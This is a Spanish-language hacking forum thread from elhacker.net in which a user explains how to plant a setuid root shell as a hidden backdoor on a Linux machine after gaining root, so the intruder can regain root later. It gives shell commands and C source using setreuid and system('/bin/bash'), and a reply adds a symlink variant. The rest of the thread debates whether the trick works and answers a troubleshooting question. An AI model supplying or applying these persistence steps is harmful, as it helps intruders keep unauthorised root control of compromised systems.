elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.
 
Inicio Ayuda Ingresar Registrarse
06 Septiembre 2008, 00:30  



+  Foro de elhacker.net
|-+  Seguridad Informática
| |-+  Hacking Avanzado
| | |-+  Hacking Linux/Unix (Moderador: berz3k)
| | | |-+  sushi
0 Usuarios y 1 Visitante están viendo este tema.
Páginas: [1] Ir Abajo Imprimir
Autor Tema: sushi  (Leído 1090 veces)
averno

Desconectado Desconectado

Mensajes: 347


Ver Perfil
sushi
« en: 13 Diciembre 2007, 19:41 »


 que tal.

 Pues aki me encuentro ( de nuevo ) en un cyber. Iba a trabajar y resulta que
 iba un poko temprano ( se me fue la olla ) y nada, me he venido al cyber y
 he entrado en el foro un ratillo ( logico no?? ).

 Pues, si me da tiempo, voy a tratar de hacer un sushi o mochila para linux
 con bash. Os preguntareis algunos.. y que k*** es eso del sushi?? que se nos
 va a poner ahora el averno, a dar recetas de cocina japonesa???
 Pues ya me molaria pero no. Un sushi o mochila es una Shell Suid ( de ahi
 lo de sushi, kreo ). Komo ya sabremos, bash ( Bourne Again Shell ) va siendo
 la mas implementada por defecto en nuestros sistemas linux gracias a su gran
 flexibilidad.
 Pues tratare de ser breve. Si resulta que entras en un S.O Linux ( ya se
 juankeandolo o kon acceso directo ) y kieres dejar alguna trampilla, una shell
 suid seria una de las mas tentadoras para asi poder korrer root la proxima vez
 que entres.. Recordare que el bit setuid ( set userid ) se encuentra en varios pro-
 gramas para poder llevar a cabo operaciones que solamente el root puede llevar,
 pero ejecutandolas komo usuario normal. Es el kaso ( por ejemplo ) de
 passwd: para poder kambiar nuestra password "passwd" 'debe' ser suid.

 El kaso es que, si intentamos hacer una shell suid asi kon bash:

 # cp /bin/bash /tmp/.shell
 # cd /tmp
 # chown root .shell && chgrp root .shell
 # chmod a+s .shell    /* aki le ponemos el bit suid :) */
 # chmod a+x .shell

 Bash no tragara y no nos dara root una vez que la ejecutemos komo usuario 
 normal.. Eso es, primero debemos ser/conseguir root para plantar la shell suid
 que lo que hara es que kuando mas tarde entremos komo usuario normal, al ejecu-
 tarla nos de autamaticamente r00t gracias al suid bit.

 Bueno, pues me kedan 5 minutos para chapar ir al curro....

 Pues lo que pasa es que Bash es una shell mas precavida y, a parte de mirar al bit
 seteuid ( que es el que kambia al ejecutar un programa suid ) mira el bit suid
 tambien.  Aki expongo kom oenganiar a Bash para que nos de la shell suid sin
 rechistar:

 /* sushi.c */

 #include <sys/types.h>
 #include <unistd.h>
 #include <stdlib.h>
 #include <stdlib.h>
 #inlcude <stdio.h>

  int main(void)
 {

    uid_t uid, euid;
    uid = getuid();
    euid = geteuid();
 
    setreuid(euid, euid);
    system("/bin/bash");

    return 0;

 }

 Compilar este programa kon ( por ejemplo ):
 # gcc -o sushi sushi.c

 Tras kompilarlo, hacer lo siguiente:

 # chmod a+s sushi
 # chmod a+x sushi

 Salir de root kon exit por ejemplo, y ahora komo usuario normal ejecutar
 sushi. Sereis root automagicamente, ahora si.

 El enganio komo veis es que, kon la syscall setreuid, definimos el uid y el euid
 a 0 ( root ) justo antes de llamar a system("/bin/bash").

 Perdon por la rapidez pero me las piro volando!!

 Suerte.
 
En línea
Xpeed

Desconectado Desconectado

Mensajes: 480


Res Publica Non Dominetur


Ver Perfil
Re: sushi
« Respuesta #1 en: 06 Enero 2008, 18:37 »

Para esto, el propietario del archivo debe ser root, es decir crearlo y compilarlo en el caso del codigo C como root.. es decir ya habria que tener acceso a root y no justificaría crear el binario, a menos que te dejen en una terminal root momentaneamente..

A estas alturas bash (/bin/bash) no permite la ejecución de si mismo con bit suid por protección.. si no estoy mal, la unica util es la segunda manera..

un saludo.
« Última modificación: 06 Enero 2008, 18:39 por Xpeed » En línea

averno

Desconectado Desconectado

Mensajes: 347


Ver Perfil
Re: sushi
« Respuesta #2 en: 08 Enero 2008, 21:34 »

 MMmm... que tal.

 gracias por tu aclaracion.

 El kaso es que tienes toda la razon: no fui lo suficientemente explicito debido a
 mi falta de tiempo.
 Pero me temo que no has leido muy atentamente algunas kosas komo:

 Cita 1:
 --------

 "..Bash no tragara y no nos dara root una vez que la ejecutemos komo usuario 
 normal.. Eso es, primero debemos ser/conseguir root para plantar la shell suid
 que lo que hara es que kuando mas tarde entremos komo usuario normal, al
 ejecutarla nos de autamaticamente r00t gracias al suid bit. .."

 Cita 2:
 --------

 "...Salir de root kon exit por ejemplo, y ahora komo usuario normal ejecutar
 sushi. Sereis root automagicamente, ahora si. ..."


 A dia de hoy Xpeed, kon ese codigo yo logro una shell setuid en mi Linux.
 No se Xpeed, pero kuando dices:

 "...si no estoy mal, la unica util es la segunda manera.. "
 
 A que manera te refieres??

 Ese codigo es para enganiar a /bin/bash, y es la unica que he expuesto y, komo
 te digo a mi me funciona a las mil maravillas.

 Gracias por el komentario, ya que eso implica participacion por tu parte.

 Espero tengas Suerte. Un saludo.

 /****************** Modifico **********************************/

 Ah!!! Ya se a que "segunda" manera te refieres. El kaso es que si lees BIEN,
 te daras kuenta de que tu komentario resulta algo reiterativo puesto que
 eso mismo es lo que digo yo!!: que la primera no te servira hoy dia, y que la
 "unika" que te funcionara sera  la segunda!
 Perdona, pero nunca considere la "primera" komo una opcion!
 Asi que, has dicho algo que ya habia dicho yo antes, kon lo que resulta reiterativo.

 Insisto: gracias por tu comentario...     averno.

 Para corregir, hace falta aceptar el ser corregido!

 /* EOF */

 

 
« Última modificación: 08 Enero 2008, 21:51 por averno » En línea
Xpeed

Desconectado Desconectado

Mensajes: 480


Res Publica Non Dominetur


Ver Perfil
Re: sushi
« Respuesta #3 en: 10 Enero 2008, 03:33 »

Pasa que, mucho antes, la primera explicación era un conocido ataque en entornos unix por ejemplo copiando desde un diskete o algun medio magnetico o digital externo un bash con propietario root y con el bit setuid activo.. al leer pense que lo exponías como un ejemplo util y no vi que estabas hacieno una especia de introducción al code en C que si es completamente funcional..


un saludo.
En línea

antraXactive

Desconectado Desconectado

Mensajes: 375


dpkg --purge sgae


Ver Perfil WWW
Re: sushi
« Respuesta #4 en: 22 Enero 2008, 04:52 »

Buenas!!!

averno no es por ser tiquismiquis pero no te parece una tontería crear un ejecutable que simplemente ejecute una terminal? es decir... toda esa parafernalia la arreglarías simplemente creando un enlace de esta forma:

Código:
#ln -s /bin/sh consolita
#chmod a+s consolita
y ahora a ejecutar consolita y conseguirás exactamente lo mismo
« Última modificación: 22 Enero 2008, 17:16 por antraXactive » En línea

averno

Desconectado Desconectado

Mensajes: 347


Ver Perfil
Re: sushi
« Respuesta #5 en: 23 Enero 2008, 21:28 »

 Ah ..

 Yo krei que usualmente el propio /bin/sh era un link simboliko hacia /bin/bash ...

 Bueno, saludos y suerte!


 /************* Modifico ******************************************

               Se ha captado mi ironia ..?

 ****************************************************************/
« Última modificación: 24 Enero 2008, 16:57 por averno » En línea
kroket

Desconectado Desconectado

Mensajes: 16


Ver Perfil
Re: sushi
« Respuesta #6 en: 07 Junio 2008, 01:22 »

Pues a mi no me funciona.  :-\

Compile el prgrama lo copie a escritorio del otro usuario sin permisos, y lo ejecute como ./sushi o sudo ./sushi, en ambos casos me decia que no pertenecia a sudoers...

Que estoy haciendo mal?  :-(

Gracias!
En línea
averno

Desconectado Desconectado

Mensajes: 347


Ver Perfil
Re: sushi
« Respuesta #7 en: 10 Junio 2008, 22:36 »


 que tal.

 Bueno, que yo sepa, si tiene el bit suid ( set user id) activado no tendria por que darte error de sudoers.
 No te aniadas al archivo sudoers ( /etc/sudoers ), ya que no konsiste en eso.
 ASEGURATE de le hayas activado el bit kon:
 # chmod a+s sushi
 # chmod a+x sushi

 "chmod a+x sushi" --> Por que? Es para asegurarte que kienkiera que lo ejekute, tenga permisos para ello.
 Asegurate que tras este comando, sigue teniendo el bit suid ( s ) activo para el propietario ( root! ).

 Suerte.
En línea
Páginas: [1] Ir Arriba Imprimir 
Ir a:  







Consolas     La Web de Goku     MilW0rm     MundoDivx

Hispabyte     Truzone     TodoReviews     ZonaPhotoshop

hard-h2o modding    Foros de ayuda    Yashira.org    Videojuegos    indetectables.net   

Noticias Informatica    Seguridad Informática    ADSL    Foros en español    eNYe Sec

Todas las webs afiliadas están libres de publicidad engañosa.

Powered by SMF 1.1.5 | SMF © 2006-2008, Simple Machines LLC